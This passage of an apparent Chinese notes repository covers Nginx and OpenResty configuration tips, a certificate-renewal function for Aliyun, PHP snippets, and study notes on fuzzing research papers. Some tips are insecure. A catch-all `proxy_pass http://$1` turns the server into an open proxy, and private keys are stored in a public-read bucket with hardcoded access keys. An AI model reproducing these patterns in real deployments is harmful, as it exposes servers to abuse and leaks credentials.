得到对象字节\r\ndata = w.conn._conn.get(publicurl+fid).content\r\n```\r\n\r\n## proxy_pass 动态代理\r\n\r\n效果：访问`/www.example.com/` 反向代理到`http://www.example.com`，并支持一次跳转\r\n\r\n```\r\nlocation ~ ^/(.*)$ {\r\n\tproxy_pass http://$1;\r\n\tproxy_intercept_errors on;\r\n\terror_page 301 302 307 = @handle_redirect;\r\n}\r\n\r\nlocation @handle_redirect {\r\n\tset $saved_redirect_location '$upstream_http_location';\r\n\tproxy_pass $saved_redirect_location;\r\n}\r\n```\r\n\r\n---\r\n\r\n## Nginx隐藏Server头 简单方式\r\n\r\n参考： https://serverfault.com/questions/214242/can-i-hide-all-server-os-info\r\n\r\n```\r\napt install -y nginx-extras\r\n```\r\n\r\n配置中添加：\r\n\r\n```\r\nheader_filter_by_lua 'ngx.header[\"server\"] = nil';\r\n```\r\n\r\n----\r\n\r\n## 使用阿里云函数计算定时更新https证书\r\n\r\n为了减少对vps的依赖，逐步将一些在服务器上跑的任务迁移到更加可靠的函数计算\r\n\r\n这不是一个详细的教程，你还需要自行探索研究\r\n\r\n### 入口\r\n\r\nhttps://fc.console.aliyun.com\r\n\r\n关键词： [教程](https://promotion.aliyun.com/ntms/act/fc/doc.html) [定价 128MB是免费的](https://help.aliyun.com/document_detail/54301.html)  [定时触发器](https://help.aliyun.com/document_detail/68172.html) [日志服务](https://help.aliyun.com/learn/learningpath/log.html)\r\n\r\n### 代码框架\r\n\r\nPython3 先本地`git clone --depth 1 https://github.com/Neilpang/acme.sh`，再创建个index.py 把代码文件夹上传上去\r\n\r\n网页上在线编辑index.py不会丢失acme.sh文件夹（只会改动index.py），代码改动后就能直接运行看到结果（实时输出需要去日志服务搜索），还是挺好用的\r\n\r\n使用这个代码需要先创建一个可以访问OSS的AccessKey，填入`oss2.Auth`部分——将生成的https证书和私钥存储到OSS，将Key硬编码到代码中不是一个好习惯，这里就简单粗暴实现了\r\n\r\n域名验证方式用的是challenge-alias的dns验证，需要将`_acme-challenge.py3.io`设置CNAME到`_acme-challenge.chenyuan.me`。\r\n如果你还需要更多的子域名如`*.subdomain.py3.io`，那也要把`_acme-challenge.subdomain.py3.io`设置CNAME到`_acme-challenge.chenyuan.me`\r\n\r\n用的是cloudflare的API，需要提供`CF_Key`和`CF_Email`，你也可以使用[更多的API](https://github.com/Neilpang/acme.sh/wiki/dnsapi)\r\n\r\n定时器设置十五天执行一次，cron表达式为：`0 0 0 1,15 * *`\r\n\r\n你需要替换下面代码的REGION OSS地域, AK, SK 可以访问OSS的密钥, OSSNAME 使用的OSS名称, CF_Key cloudflare的API Key, CF_Email cloudflare的用户名邮箱, `chenyuan.me` 在cloudflare上托管的域名, `py3io_ATxx`申请得到的证书的名称 加入随机字符串避免被猜到, `[\"py3.io\", \"*.py3.io\"]` 申请的域名列表\r\n\r\n```\r\n# -*- coding: utf-8 -*-\r\nimport os\r\nimport logging\r\nimport random\r\nimport os\r\nimport oss2\r\nimport io\r\nimport time\r\nimport string\r\nimport json\r\nlogger = logging.getLogger()\r\nendpoint = 'http://oss-cn-REGION-internal.aliyuncs.com' \r\nauth = oss2.Auth('AK', 'SK')\r\nbucket = oss2.Bucket(auth, endpoint, 'OSSNAME')\r\n\r\ndef getcert(name, domains):\r\n    global logger\r\n    try:\r\n        try:\r\n            lasttime = bucket.get_object_meta(name+\".crt\").last_modified \r\n            if time.time() - lasttime <= 86400 * 60:\r\n                # do not recreate cert for 60 days\r\n                logger.info('Skip cert for '+name)\r\n                return\r\n        except:\r\n            pass\r\n        \r\n        logger.info('Getting cert for '+name)\r\n        domain_text = \"-d '\" + \"' -d '\".join(domains) + \"'\"\r\n        cmd = \"CF_Key=xxx CF_Email=xxx@yyy.com ./acme.sh/acme.sh --issue --dns dns_cf \"+domain_text+\" --dnssleep 5 --fullchain-file /tmp/\"+name+\".crt --key-file /tmp/\"+name+\".key -f \"\r\n        if name != \"chenyuan.me\":\r\n            cmd += \"--challenge-alias chenyuan.me\"\r\n        print(\"acme.sh --issue\"+cmd.split(\"--issue\")[1])\r\n        assert os.system(cmd)==0, \"get cert failed\"\r\n        bucket.put_object_from_file(name+\".crt\", \"/tmp/\"+name+\".crt\")\r\n        bucket.put_object_from_file(name+\".key\", \"/tmp/\"+name+\".key\")\r\n        logger.info('Done for '+name)\r\n    except Exception as e:\r\n        logger.exception(\"exception happend: \"+ name)\r\n\r\ndef handler(event, context):\r\n    getcert(\"py3io_ATxx\", [\"py3.io\", \"*.py3.io\"])\r\n    return 'ok'\r\n```\r\n\r\n### 更多说明\r\n\r\n取得一个域名的证书大约需要1~2分钟，由于函数计算允许的最长超时是600秒，还有考虑网络因素（毕竟cloudflare和let's encrypt都在国外），\r\n是有可能失败的\r\n\r\n我采取的策略就很简单粗暴 每15天执行一遍，一个域名失败了不影响其他域名的尝试，60天内成功了的域名不会反复申请，总会成功的\r\n\r\n安全性：为了便于将证书部署到web服务器，OSS仓库是设置成公开读的，这样就可能泄露私钥文件（攻击者知道OSS名称，猜到文件名称），你可以用Referer限制来增加一点安全性\r\n\r\n### web服务器上的部署\r\n\r\n也是写一个定时任务咯 `0 0 0 3,17 * *`，每个月3号和17号用curl获取一下最新的证书\r\n\r\n如果nginx的配置原先就是错的，不会尝试更新证书\r\n\r\n如果更新证书后nginx无法启动（比如无法连上阿里云下载的文件为空或404），会回滚这个改动，保证nginx仍然可以启动\r\n\r\n你需要替换下面代码的NAME, OSSNAME, REGION 同上, Referer_STRING 在OSS设置的只允许这个Referer_STRING访问 不允许Referer为空 增加安全性\r\n\r\n```\r\n#!/bin/bash\r\nset -ex\r\nexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\r\ncd /var/www\r\nNAME=\"py3io_ATxx\"\r\ncurl -o ${NAME}.crt.new https://OSSNAME.oss-cn-REGION.aliyuncs.com/${NAME}.crt -H \"Referer: Referer_STRING\"\r\ncurl -o ${NAME}.key.new https://OSSNAME.oss-cn-REGION.aliyuncs.com/${NAME}.key -H \"Referer: Referer_STRING\"\r\nnginx -s reload\r\nmv ${NAME}.crt ${NAME}.crt.old\r\nmv ${NAME}.key ${NAME}.key.old\r\nmv ${NAME}.crt.new ${NAME}.crt\r\nmv ${NAME}.key.new ${NAME}.key\r\nnginx -s reload || (mv ${NAME}.crt.old ${NAME}.crt; mv ${NAME}.key.old ${NAME}.key)\r\n```\r\n\r\n-----\r\n\r\n## 使用nfs存储Nginx日志\r\n\r\n考虑一个不稳定的存储介质 如树莓派，想简单地把日志存储到其他服务器上\r\n\r\n由于nfs可能由于网络hang，而Nginx在无法写日志的时候也无法提供web访问，\r\n所以我的做法是先写到本地，每个小时将新的log追加到nfs同名`.1`文件里\r\n\r\n用到的：nfs，Nginx SIGUSR1信号，定时任务\r\n\r\n服务端的nfs镜像： https://hub.docker.com/r/itsthenetwork/nfs-server-alpine/\r\n\r\n```\r\ndocker run --restart=always -d --name nfs -v /data:/nfsshare --privileged --net=host -e SHARED_DIRECTORY=/nfsshare itsthenetwork/nfs-server-alpine\r\n```\r\n\r\n客户端（web服务器）：\r\n\r\n```\r\nmkdir /nfs\r\nmount SERVER_IP:/ /nfs\r\n```\r\n\r\ncollectlog.sh写到/nfs里，如果nfs发生了hang，脚本也不会执行\r\n\r\n```\r\n#!/bin/bash\r\nexport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\r\ncd /var/log/nginx\r\nfor i in *.log; do\r\n    mv $i ${i}.1;\r\ndone\r\nkill -USR1 `cat /var/run/nginx.pid`\r\nsleep 1\r\nfor i in *.log.1; do\r\n    cat $i >> /nfs/$i\r\ndone\r\n```\r\n\r\ncron加入：每小时写入一次\r\n\r\n```\r\n0 * * * * /nfs/collectlog.sh\r\n```\r\n\r\n-----\r\n\r\n## 使用openresty Lua编程实现hook跳转\r\n\r\n需求：有多个网站用户访问之前需要带上authtoken，没有这个Cookie则先跳转到登录界面\r\n\r\n使用openresty来方便地写Lua：\r\n\r\n安装参考 https://openresty.org/cn/linux-packages.html\r\n\r\n```\r\nsudo apt-get -y install --no-install-recommends wget gnupg ca-certificates\r\nwget -O - https://openresty.org/package/pubkey.gpg | sudo apt-key add -\r\necho \"deb http://openresty.org/package/ubuntu $(lsb_release -sc) main\" \\\r\n    | sudo tee /etc/apt/sources.list.d/openresty.list\r\nsudo apt-get update\r\nsudo apt-get -y install openresty\r\n```\r\n\r\n可能你会喜欢原来的nginx的目录设置，做个软链接呗：\r\n\r\n```\r\nln -s /usr/local/openresty/nginx/logs /var/log/nginx\r\nalias nginx=openresty\r\n```\r\n\r\n快速入门： https://openresty.org/cn/getting-started.html\r\n\r\n就是content_by_lua_block里面直接写lua代码即可\r\n\r\n```\r\nhttp {\r\n    server {\r\n        listen 8080;\r\n        location / {\r\n            default_type text/html;\r\n            content_by_lua_block {\r\n                ngx.say(\"<p>hello, world</p>\")\r\n            }\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n想知道ngx有哪些方法，看这个文档： https://github.com/openresty/lua-nginx-module#ngxarg\r\n\r\n例如获取http GET的a参数：`ngx.var.arg_a`, 请求的Host参数：`ngx.var.http_host`\r\n\r\n获取Cookie: 使用https://github.com/cloudflare/lua-resty-cookie\r\n\r\n先执行：`wget -O /etc/openresty/cookie.lua https://github.com/cloudflare/lua-resty-cookie/raw/master/lib/resty/cookie.lua`\r\n\r\n在http中加入: `lua_package_path \"/etc/openresty/?.lua;;\";`\r\n\r\n```\r\nlocal ck = require \"cookie\"\r\nlocal cookie, err = ck:new()\r\nif not cookie then\r\n    ngx.log(ngx.ERR, err)\r\n    return\r\nend\r\n#然后即可使用cookie:get(\"authtoken\")\r\n```\r\n\r\n想使用rewrite_by_lua_file则需要把文件放在/usr/local/openresty/nginx\r\n\r\n结束当前脚本继续后续请求处理 用`ngx.exit(0)`\r\n\r\n结束整个请求 用`ngx.exit(200)`\r\n\r\n跳转用 `ngx.redirect(\"https://py3.io\")`\r\n\r\nLua的三目运算： `a and b or c`\r\n\r\n-----\r\n\r\n## 不同子域名反代到不同端口\r\n\r\n你可以复制粘贴多个server块，但使用map是一个更优雅的方案\r\n\r\n```\r\nhttp {\r\n    map $subdomain $subdomain_port {\r\n        subdomain1 12345;\r\n        subdomain2 54321;\r\n        default 1;\r\n    }\r\n    server {\r\n        listen 80;\r\n        server_name ~^(?P<subdomain>.+?)\\.2020\\.actf\\.lol$;\r\n        location / {\r\n            proxy_pass http://127.0.0.1:$subdomain_port;\r\n            proxy_redirect off;\r\n            proxy_set_header Host $host;\r\n            proxy_set_header X-Real-IP $remote_addr;\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n## Nginx配置文件格式化\r\n\r\n直接用vi改了配置文件后，很容易不注意缩进，有没有一个自动prettify的工具呢\r\n\r\n还真有： https://github.com/1connect/nginx-config-formatter\r\n\r\n```\r\nwget https://raw.githubusercontent.com/1connect/nginx-config-formatter/master/nginxfmt.py\r\npython3 nginxfmt.py /etc/nginx/nginx.conf\r\n```\r\n"
  },
  {
    "path": "PHP.md",
    "content": "# PHP\r\n\r\n\r\n## 显示错误信息\r\n\r\nPHP返回500，不知道发生了啥，就在php文件开头显示所有错误：\r\n\r\n```\r\n<?php\r\n    ini_set('display_errors', true);\r\n    error_reporting(E_ALL);\r\n```\r\n\r\n## 全页面iframe\r\n\r\n```\r\n<!DOCTYPE html>\r\n<body style=\"padding:0; margin:0;\">\r\n<iframe src=\"https://py3.io\" style=\"visibility: visible;height: 100%; position:absolute\" allowtransparency=\"true\" marginheight=\"0\" marginwidth=\"0\" frameborder=\"0\" width=\"100%\"></iframe>\r\n</body></html>\r\n```"
  },
  {
    "path": "PaperReading.md",
    "content": "# Paper Reading\r\n\r\n## Fuzzing error-handling code using context-sensitive software fault injection\r\n\r\nUSENIX2020 [PDF](https://www-users.cs.umn.edu/~kjlu/papers/fifuzz.pdf)\r\n\r\n表达：\r\naugment 说自己的fuzzer能有效补充增强现有的fuzzing技术\r\nand we are still waiting for the response of remaning ones 提交了bug等待回复\r\nThis manual study is required for gaining the insights into building the automated static analysis 手工分析是有必要的\r\n\r\n错误处理的代码一些只能在偶然情况下触发 如内存不够 网络连接失败\r\n这篇文章的核心是SFI 上下文敏感的软件错误注入\r\n发现了317个alert 根据根本原因分成50个unique bugs\r\n\r\nerror site 注入错误的位置 比如malloc\r\n现有的技术没考虑上下文（调用栈）注入错误那就一定会错 这样会错过一些bug\r\n\r\n方法：\r\n\t1. 静态分析找error sites 运行时有可能出错的地方 只找库函数避免重复；找满足条件的函数调用：返回的是指针或整数、返回值会和NULL或者0比较，定义一个比较次数/总次数的阈值R=0.6\r\n\t2. 运行被测程序 收集到达每个error site能有哪些calling context，以及当前的coverage\r\n\t3. 创建错误序列 错误序列的每一个不是error site 而是error point <ErrorLoc, CallCtx> 其中CallCtx 是<CallLoc, FuncLoc>的数组 具体用哈希表存储\r\n\t4. 变异错误序列 \r\n\t5. 运行\r\n\t6. 看看是否有新的coverage 循环\r\n\r\n\r\n\r\n同时变异错误序列和程序输入\r\n\r\n贡献：\r\n\t* 做了两个手工分析：42%的错误处理代码都是处理偶然错误，其中很少能被现有的技术触发\r\n\t* 基于上下文敏感的SFI的fuzzing基础 动态注入错误，考虑了调用关系\r\n\t* FIFUZZ 第一个系统性考虑了不同调用关系的测试错误处理代码的fuzzing框架\r\n\t* 测了9个C语言程序 发现了50个bug 和AFL AFLFast AFLSmart FairFuzz比较能发现很多别人发现不了的bug\r\n\r\n\r\n\r\n虽然错误偶然触发，但在adversarial setting下却可以稳定触发 如攻击者耗尽内存能可靠地让malloc返回NULL ；后面也提到攻击窗口太小的话 不能成功\r\n\r\n分析的软件：vim bision ffmpeg nasm catdoc clamav cflow gif2png+libpng openssl 每个选100个源代码看发现：\r\n42%偶然错误，70%检查返回值是不是表示错误\r\n\r\n看CVE发现fuzzing发现的CVE中31%和错误处理有关 但只有9%是偶然错误\r\n\r\n一次变异一个 如果没发现新的coverage就抛弃\r\n\r\nASan引入了太大的runtime overhead 实验分两组 用asan和不用\r\n\r\n\r\n选vim一个程序来显示24小时内 有用的错误序列、程序输入分别随时间增长的曲线\r\n\r\n\r\n实验结果的表格：分asan和不用asan，产生了多少错误序列和input 多少有用，发现的bug的分类 三类：返回NULL，malloc失败，assert\r\n\r\n\r\n附录给50个随机选的alerts 程序、触发序列Error points、崩的源代码行号、错误类别、反馈修复状态\r\n\r\n发现的46个和错误处理相关的bug中 只有4个需要一个以上的bug注入 也就说大部分bug一个错误就能触发了；大部分bug都是因为被调用的函数正确处理了异常 但调用者没有——开发者经常由于复杂的调用在error propagation上犯错误\r\n\r\n和其他fuzzer比较 说自己的coverage更高\r\n\r\n自己没比人家强就说We believe that if我们也实现他们的fuzzing过程，那就会更好\r\n\r\ndiscussion:\r\n错误位置的提取 的 误报： 有些函数虽然经常跟0比较但不会返回错误 如strstr 通过分析定义和调用图检查是否真的能返回表示错误的错误值；函数的输入一定先转换成有效的数据 用符号执行来分析 对每个函数调用计算约束\r\n\r\n错误检测 的 漏报：为了避免重复注入只考虑了库函数，但有些开发者自己写的没调用任何库函数也能返回错误；coverage没到 FIFUZZ不能提供所有可能的程序输入和配置；用ASan的局限 但可以扩展用MSan UBSan TSan\r\n\r\n相关的paper:\r\n轻量级运行时监测：基于硬件的tracing [3, 31]， call-path inferring[42]\r\n用静态分析找错误处理的bug [28, 32, 33, 37, 53]\r\nPairCheck[9] 统计分析找资源acquire和release的pair，找错误处理中没有release\r\n\r\n最后conclusion最后一段说改进 减少误报；提高性能；其他编程语言 plan to test the program in other programming languages （such as C++ and Java）\r\n\r\n## PANGOLIN: Incremental Hybrid Fuzzing with Polyhedral Path Abstraction\r\n\r\nSP2020 [PDF](https://qingkaishi.github.io/public_pdfs/SP2020.pdf)\r\n\r\n一句话概括：改进QSYM混合fuzzing 缓存求解出来的取值范围用多边形表示 来更好的变异更快的求解\r\n\r\n单词与表达：\r\n\r\n- sluggish 性能不行 太慢\r\n- succinct 简洁的\r\n- 取得平衡 a sweet spot between ...\r\n- obstruct 阻碍\r\n- we followed the standard instructions in the previous paper 说自己的方法是按照别人建议的\r\n- orthogonal 说别人的研究和自己的不冲突可以互补\r\n\r\nintro 第一段 介绍hybrid fuzzing很有用；第二段说现在的方法不行 提出问题不incremental 最后一句提However, intuitively应该可以这么做；之后举例子；核心的两点——用多边形的路径约束把种子变异转换成在一个多边形内取样、用约束降低约束求解复杂度减小可行解空间 从而加速约束求解；然后说自己测了一下 效果比state of art好10%~30%的coverage，在LAVA-M能多发现500+bugs，发现新的41个bug 拿到8个CVE\r\n\r\n随机变异的空间总是太大了\r\n\r\n约束的抽象 有 interval [32], octagon [33], and polyhedral [34]. 都是sound的（包含所有目标点），但polyhedral有最好的precision 包含最少的非目标点\r\n\r\n采样用Dikin walk algorithm 能保证均匀采样 保证多样性：每两个采样之间的距离都要大于一个动态边界\r\n\r\n具体做法并不盲目计算x+y和x-y，而是加入约束中的线性表达式 如5x+y\r\n\r\n应该采多少样本？越难cover的需要越多，越多依赖它的路径需要越多\r\n\r\n\r\nevaluation 三个RQ研究问题：1. 比现在最好的fuzzer能不能发现更多的bug；2.能不能更高的coverage；3. 变异方法的有效性\r\n\r\n实验用了两个afl，angora有-j 2，但T-Fuzz不支持 也就直接跑了\r\n\r\n选seed的方式：用AFL提供的seed，用人家代码里自带的测试样例\r\n\r\n重复10次\r\n\r\n比较了效果好之后讨论为啥没能发现LAVA-M的所有bug？说这是QSYM的问题 缺少对底层系统调用的建模如who用的x2nrealloc，不支持浮点数约束。但是这些限制不是这篇work要解决的问题，and we leave them as our future work.\r\n\r\ncrash去重用的`afl-cmin -C`\r\n\r\n发现了T-Fuzz对大程序有scalability issues 所以就没有比较coverage\r\n\r\n比QSYM好，原因是qsym对每个branch只生成一个seed，这样会漏掉一些——覆盖到一个branch并不意味着就能触发漏洞\r\n\r\nThe performance of constrained mutation：比较提出的constrained mutation和SMTSampler 看给定time buget分别3s 5s 10s的情况下能解出多少 计算平均时间的时候如果不能解决就按上限——超过95%的约束都能在3秒钟内搞定。总之，我们的方法比SMTSampler效率和有效性都强\r\n为啥呢？减少了约束求解器的调用、保证了均匀分布\r\n\r\nrelated work 种子的优先选择和调度 是基于程序结构的 忽视了输入的实际取值空间\r\n相比于KLEE缓存了constraint，我们缓存了原始路径约束的简化形式 path abstraction\r\n\r\n如何有效的将concolic execution和fuzzing结合is always under consideration\r\n\r\n尽管有内存快照的技术来保存程序状态[7] \"Unleashing mayhem on binary code\"，但对hybrid fuzzing来说太慢了\r\n\r\n## Full speed Fuzzing: Reducing Fuzzing Overhead\r\n\r\n一句话概括： 每个基本块第一个字节改成CC触发中断，不需要耗时地记录coverage了，发现新的基本块就能自动知道\r\n\r\n单词：\r\n\r\n- tracking apparatuse插桩代码做的事情\r\n- niche 合宜的小环境 这里似乎是受限的意思 As applications of directed fuzzing are generally niche, such as taint tracking [16] or patch testing [31], coverage-guided fuzzing’s wider scope makes it more popular among the fuzzing community [5], [6], [4], [3].\r\n- narrow 区别不大 results in Section VI suggest that the performance gap is much narrower.\r\n- convincingly 比其他人好 A12 excceds 0.71\r\n- performance-taxing 耗时\r\n- per-variant geometric mean分组计算均值\r\n- deficit 引入的overhead: ... far outweighs the performance deficit from trimming and calibration tracing\r\n- is not a technical challenge 没做的东西claim不难做\r\n- graciously 感谢其他人\r\n\r\n人家的idea：\r\n\r\n```\r\n把程序变成一个能自己报告有没有发现新的basic block的——在每个基本块开头变成0xCC（encode the current frontier），触发了中断说明有新的覆盖率，需要停下fork server去掉这个中断再继续跑\r\n做coverage-guided tracing\r\n人家的实验其实不是在做fuzzing，而是先跑afl-qemu收集24小时所有生成的seed（5个不同的test case datasets），再改了afl只跑run_target，看不同的设计下耗时的区别\r\n去掉噪音用的trimmed-mean denoising 去掉最大最小33%\r\n实验是5个dataset,每个重复8次 \r\n基于afl-dyninst实现，但是这玩意性能不行 所以跑的oracle程序fork server还是用afl-as插的\r\n在tracer记录块的覆盖率的时候，一个块可能执行多次很大的overhead，于是搞了个全局的hashmap，和fork server共享 之后的进程就知道哪些才是unique-covered basic blocks\r\n不懂的地方：为啥会尝试对同一个地方多次unmodify?  We observe that even coverage-increasing test cases often have significant overlaps in coverage. This causes UnTracer to attempt unmodifying many already-unmodified basic blocks, resulting in high overhead.\r\n选择的fuzz文件类型：dev开发，图片，压缩data archiving，网络network utilities，音频，文档，密码学cryptography，web开发\r\ntimeout也是一个很重要的因素 如果timeout的文件太多 作者的优势就不明显了；实验设置为500ms的超时\r\n比较的baseline: 只fork server不进行任何插桩，这是最快的 overhead是相对于这个baseline而言的\r\n```\r\n\r\n后续要了解的：\r\n\r\n```\r\nIntel PT硬件辅助[11],[4],[12]的覆盖率 overhead更小，缺点：需要一个支持的CPU，解码CFG日志耗时，只支持x86\r\nXuwen的优化操作系统的系统调用[61] fuzzer-agnostic operating primitives\r\n程序改写AFL-lafIntel [70] unrolls magic bytes into single comparisons at compile-time, but currently only supports white-box binaries.\r\n```\r\n\r\n三种覆盖率的计算方式：基本块，边，basic block path这一种没人做\r\n只记录basic block来推断边的信息，是有问题的：存在critical edges就不准确，需要先去掉critical edges才行 就是空的else也要当成一个块\r\n否则会错误地丢掉一些发现了新覆盖率的种子 erroneously discard coverage-increasing inputs.（可能afl对for的支持就是这个bug\r\n\r\n\r\nafl的queue里的文件有+cov的才是发现了新的覆盖率的\r\n\r\n影响afl变异优先策略的除了coverage还有文件大小，相同覆盖率优先用小的seed\r\n\r\np-value小于0.05要说(pair-wise)\r\n\r\nhybrid的fuzzer花更多的时间变异 如QSYM\r\n\r\n\r\n## Effective Program Debloating via Reinforcement Learning\r\n\r\nCCS18 [PDF](https://www.cis.upenn.edu/~mhnaik/papers/ccs18.pdf)\r\n\r\n概括：把机器学习用到Program Debloating，基本方法是反复切片去掉，用Reinforcement Learning来减少编译测试的次数\r\n\r\n单词\r\n\r\n- seldom if ever used by average users 一般用户不会用\r\n- has led to its sparing use 导致没人用\r\n- has been shown to suffice in the literature on ... 论文中已经提到\r\n- mangle 搞乱程序\r\n- sacrifice efficiency 说别人的不足的时候说牺牲了xxx\r\n- tailored to C/C++ 只适合xxx\r\n- myopic 短视的 Since the rules are myopic, C-Reduce generates a significant number of syntactically invalid candidates\r\n- albeit 但是 albeit due to a different reason.\r\n- presuming a general setting where such an analysis may not be available 举的例子可以很简单静态分析出来，说一般的情况下静态分析没用\r\n- akin to ... 和xxx相同 插入语 because it not only avoids syntactic errors, akin to Perses, but it also learns to avoid semantic errors.\r\n- Overall 一段话结束的时候总结\r\n- large boilerplate code 一大段代码\r\n- heed to 遵守 C-Reduce does not heed to common software engineering practices such as modularity and locality\r\n- suffices in practice实际上是否足够 The reader may wonder whether a naive approach to program reduction based on runtime code coverage suffices in practice.\r\n- empirically comfirmed 验证鲁棒性只能经验性地验证\r\n- in this regard 在这个方面 We can mitigate the issue by combining the results of multiple static analyzers that possess different capabilities in this regard.\r\n\r\nidea\r\n\r\n```\r\n程序的库和one-size-fits-all的开发方式导致了大量很少用/没用的代码\r\n前人的做法没考虑语义依赖 导致未初始化变量等语义错误 unaware of semantic dependencies between program elements (e.g., def-use relations of variables\r\ndebloating 通过delta debugging 一步步去掉程序中能删的片段，用强化学习加速（决策树 马尔科夫决策过程），保证能过测试high-level specification，最后得到的二进制任何一个片段都不能再删（1-minimality）\r\n这个方法能扩展到大程序，避免现有工具超时的问题\r\n这个方法还可以降低攻击面 去掉可选功能中的漏洞，减少ROP gadget\r\n```\r\n\r\n想做到五点：\r\n最小；耗时短；鲁棒不引入新的漏洞；生成的代码可维护可扩展；通用\r\n比静态分析动态coverage的都小；其他人超时我们都行；用静态分析工具和AFL测3天可以反馈loop；保留了modularity and locality；方法通用 和编程语言、规范无关\r\n\r\n规范就是测试代码 输入一个裁剪后的代码 输出能否满足：\r\n能过编译；需要的功能正常；不需要的功能至少不能崩（测试样例来自回归测试）；要使用sanitizer确保没有未定义行为\r\n\r\n马尔科夫决策过程 MDP\r\n\r\n\r\n\r\n基于模型的强化学习 MBRL\r\n在模型的帮助下解决MDP问题，学出转换的概率和奖赏，得到可以最大化收益和的动作\r\n\r\n方法：执行过程会更新决策树\r\n程序的编码就是程序n份 每一份是否存在 一开始就是n个1\r\n\r\n\r\n\r\n具体实现的时候是先删global-level的组件 如全局变量声明、类别定义、函数定义，再删局部类别的组件 赋值、if语句、while语句，然后继续global local ...迭代到稳定\r\n使用简单的依赖分析来拒绝不可能的程序 如没有main 缺失变量定义 变量没初始化 没有return语句\r\n决策树用的FastDT，用的exact decision trees没有boosting bagging \r\n计算代码行数之前要先宏展开\r\n\r\nEvaluation\r\n选了10个binutils里的程序，都在busybox里 可以直接比较\r\n避免产生死循环的程序 设置了不同的timeout 0.01~1s\r\n\r\n\r\n画图差异太大可以截断 顶部显示数值\r\n有些CVE没能删掉 说这些在核心功能里面 不能简单删掉 如条件竞争 \r\n产生的代码使静态分析工具的报告减少了95.4% 报告就能看了 The decreased size and complexity of the reduced programs also enable to apply more precise program checkers such as static analyzers.\r\n然后人工检查说都是误报\r\nfeedback process 跑AFL的时候崩了 发现是罕见的情况 把这种测试用例考虑进去后重新生成 再fuzzing就3天都不崩了This simple feedback process effectively improved the robustness of the resulting program\r\n\r\nTHREATS TO VALIDITY\r\n测试脚本行为的不确定性：用sanitizer缓解，依赖的其他库代码需要也用同样的编译；timeout机制引入的误报，可以改变检测死循环的机制[20] 不依赖timeout\r\n测试样例不完整may not be exhaustive enough 使用基于语法的fuzzer\r\n静态分析工具的unsoundness 不支持复杂的特性 如复杂的指针算术计算，未知语义的API调用导致的复杂控制流——结合多种静态分析工具\r\n\r\n更多方向\r\n\r\n```\r\nprogram reasoning 想知道是否引入了新的bug，包括静态分析 动态分析 fuzzing 运行时监控 验证\r\n静态分析工具：Sparrow [13]—a static analyzer for finding security bugs 可以检测bug，还能移除不可达代码\r\n程序debloating 粗粒度的Docker大容器拆解成多个小容器 需要动态分析应用行为[35]\r\n更细粒度的有做Java [28]和Android [27]应用的 ；有避免载入不会用到的函数的[34] （函数级别的依赖分析）\r\n另一个正交的方向：检测和减少运行时内存膨胀 [9,33,40-43]\r\n输入样例的最小化 场景是测试编译器/解释器，产生能crash的更小的程序 不考虑安全性可读性\r\n有工作考虑了语法的正确性[23,32,37] 但没考虑语义正确性\r\nProgram slicing 指定一个位置提取程序的一小部分 需要指定语义和依赖关系（challenging），也可能不能去掉漏洞 （这篇文章的方法更好）\r\n静态可达性分析 不能处理复杂的控制流如间接调用、复杂条件和指针算术\r\n动态可达性分析 这篇文章的方法更好\r\n```\r\n\r\nfuture work: \r\nmore expressive probabilistic models with efficient incremental learning, \r\ndesigning various forms of specification other than input-output examples,\r\napplying to debloat programs written in arbitrary languages such as binary.\r\n\r\n## GREYONE: Data Flow Sensitive Fuzzing\r\n\r\nUSENIX20 [PDF](https://www.usenix.org/system/files/sec20spring_gan_prepub.pdf)\r\n\r\n单词:\r\n\r\n- is labor-intensive and requires lots of manual efforts 需要人工\r\n- Head-to-Head Comparison 比较不同的work\r\n- to draw conclusions as objective as possible 尽可能客观\r\n- 选被测程序的原因 We chose target applications considering several factors, including popularity, frequency of being tested, development activeness, and functionality diversity.\r\n- 选出来的类别包含 graphics processing libraries (e.g., libcaca and libsixel),\r\n- shipping with 用afl-cmin的时候说the tool afl-cmin shipping with AFL\r\n- 确定fuzzing的时间 we test target applications for more time, until the fuzzers reach a relatively stable state (i.e., the order of fuzzers’ performance does not change anymore).\r\n- Experiments showed that the fuzzers will get stable after testing these applications for 60 hours. So, we tested each application for 60 hours in our experiment.\r\n- 除了给平均结果 也给出maxinum number\r\n- a steady and stronger growth trend\r\n- 大部分方面都更快 in a faster pace than QSYM in most subjects\r\n\r\nidea:\r\n\r\n使用轻量级fuzzing-driven taint inference FTI\r\n有了taint之后用输入优先模型判断先探索哪个路径 变异哪些字节 怎么变异\r\n强调dataflow features： constraint conformance 变量的值与预期值的距离\r\n实验在最新的软件上跑 发现了105个新的bugs，拿到了41个CVE\r\n\r\nRQ1: 怎么做轻量准确的污点分析 FTI变异输入每个字节看变量值的变化 轻量 没有over-taint 缓解under-taint(变异不完整会有) 运行时非常快\r\nRQ2: 有了taint怎么有效指导变异 选择啥路径 选择哪些字节 优先选择能影响更多未到达分支的字节，优先依赖更多优先字节的分支\r\nRQ3: 如何使用数据流特征(污点属性和约束符合性)优化进化方向conformance-guided evolution 优先更高符合性的seeds 能避免Angora的陷入局部最优的问题，另外将正在执行的变异rebase到更好的seeds可以显著优化速度\r\n\r\n符号执行不能处理大程序，不能解决复杂的约束如on-way functions\r\n传统的动态污点分析 需要大量劳动人类工作, 不准确 undertaint的问题 不能处理隐式数据流，非常慢\r\n\r\n不符合non-intererence rule[16]的就有依赖关系\r\nFTI变异的时候是使用预先定义的变异规则 如单位翻转、多位翻转和算术操作，不能保证完全变异\r\n变量值追踪是插代码 special value tracking code 只关注与路径约束有关的变量，同时也能提出值和对应的输入字节比较 一致就是direct copy\r\n\r\n输入字节的权重是它影响的未到达的分支数量，一个未到达分支的权重是它依赖的所有字节权重的和\r\n\r\n\r\n\r\n\r\n变异哪个位置？找当前seed未覆盖的附近的分支 按分支权重倒序；对于一个分支依赖的多个字节，按字节的权重倒序\r\n怎么变异？direct copy如果需要跟一个运行时算出的checksum相等 先得到运行时需要的值，再使用这个值和微小变异来修复对应的输入字节 可以直接知道应该修改哪个offset 需要什么值\r\nindirect copies就随机变异 可以一次变异多个字节 \r\n缓解undertaint 除了依赖的字节 也以一个较低的概率变异邻居字节\r\n\r\n计算符合性\r\n对于未到达的分支 